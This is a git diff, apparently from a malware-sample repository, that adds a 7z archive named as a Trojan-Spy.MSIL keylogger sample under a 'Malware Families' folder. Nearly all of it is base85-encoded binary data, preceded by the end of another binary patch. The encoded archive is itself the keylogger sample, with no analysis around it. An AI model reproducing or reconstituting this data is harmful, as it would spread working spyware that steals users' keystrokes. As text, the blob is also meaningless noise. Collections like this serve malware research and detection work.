zE&WG(4+go9QnCzh%?#PUwLch)j4T}963zbYgdVk_s3|6l74i#YQeiMGkGeb?62!w? z$Vh`MOQ?C{EecLT^0$U}H`|By2*__h#`RpO0)VeS#P=28+#b=Im%R1f(H`S!j*Wb+ zTL+}6b3Si=nUx@VqG5B&LEdmg(M$gik8W*;TPU<5dJ+-JuX`bOf?+A2l?`JLQw_5% zok>kDI;uq-LAlXPqtHhohH_IXm!&rdQPe;h98u>iW;^P?G#k#boh1UCWpv20JL?T} zgo{nmcks}_E|XP|YuAOYl?yF%JW`Fqg0>}v2XY`=as#tfL@SsWgBk@15VW5O$gz_} z_rma%$m!l+(S7hXc>}2Xts`U))I$v+K0{-5{CmS z8(a<__tmPed%)cqS)8e|FF@%7p{WRZy#Y>(yjtt2l9~b+Z8%k~KWGl_YJ9O)UQNC@ zO=9HcV#bo2SKQsHc}L85dHa>3nsnY%@4gHlWde0>!jW)gth^5uaOe6) z&CC8~xgPj8KdjLhlF`f`T(s2Lv+=H8$)4J;!ZOvEAmqneVI#bzMy6=Jm zonUR}qeLZVV=hCVPe%K!&^Q^qmqSapUskhLzmTY!dE5VG#{v2U3y)6M(kE~x74}dFnAw^B-(x+3<@mCXlUTDB3QV$Njj2ef zMbb!I>INR%55fpWWT${G>Z-bK#WRT^D6pJ}RF`dxgvrUdh@e~wJu zz8zpDG`3m>z^`TtlQ4m$seWAo2A&5(1?^m1f+*3HGEE^MHdDeS!BobNBZ}c4UyOS3 zh--yXx(!Ppqcn$ZQC?vF>P(TtE3IJBJG_mYtF_CVOOtD3F*m(VQXh80^(0}#u^>=E zS+OQp*7ni#;iSb3aK-1~Z_$Q%DrWYG973X^?g zKCC$aZI^6l1EuXUFL+tUTI-LjUD%T+*w7z}`!rn((|5J-RZ?v;YY&vNc^id;aNA`{ z`~W(!%hW&@J-$L%7|o_pTc)+FRED-AvJu!J$WGF1$b4tQ%~AtgDp3?Q;0Hz)hpjeo zyO;+0DdpkC7U5MhZALGhQ{j30nwuV@6|^ zs?dR}(!ip8Nf#OBQUVZ&Q5c}ayfb(Yn>Jq2+m=x&+bpk@3m-wlyB@u7J>l!<&Lk3z)Z8YgqFBcWTd1?BkBlm&>8D1|Y1A*cW#1M7 z0zzyj-F%rV%xNy_kJ|zdD=9b07w&gpy3y%lUg>dXw_k6WWbrZ|sL!0e@qO6XHN?K! z4n7TlHsH?PzZGwwU;-fjZXF24+a3O6^ZncRzpM&@10ng_51=48AimZwzv3tm|4pCzzY67F*=FqgceejEKJfpD{U7mBBK=MK`YYpq4^WiRKL`KM z0R66z{d(b^zZ?HmFZ(MX?EOEz_;*0RW)SW_yzqVVLh23m7gqZ}K>seGuG!fBmaP8{ z>UYZgt51CIe}npkK>w9X{|V=J^7JcC8r}aRmHI2#MeRS`3k>_~TlV`j@hj{*rvC{0 fHfj77=9vFKV?w@3rXU~)Z=V(j5D+MqKaTzn=h56g literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cfj-6.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cfj-6.7z new file mode 100644 index 0000000000000000000000000000000000000000..0efe890b1ed85336a82363885dd6ef6e78b775c2 GIT binary patch literal 24142 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 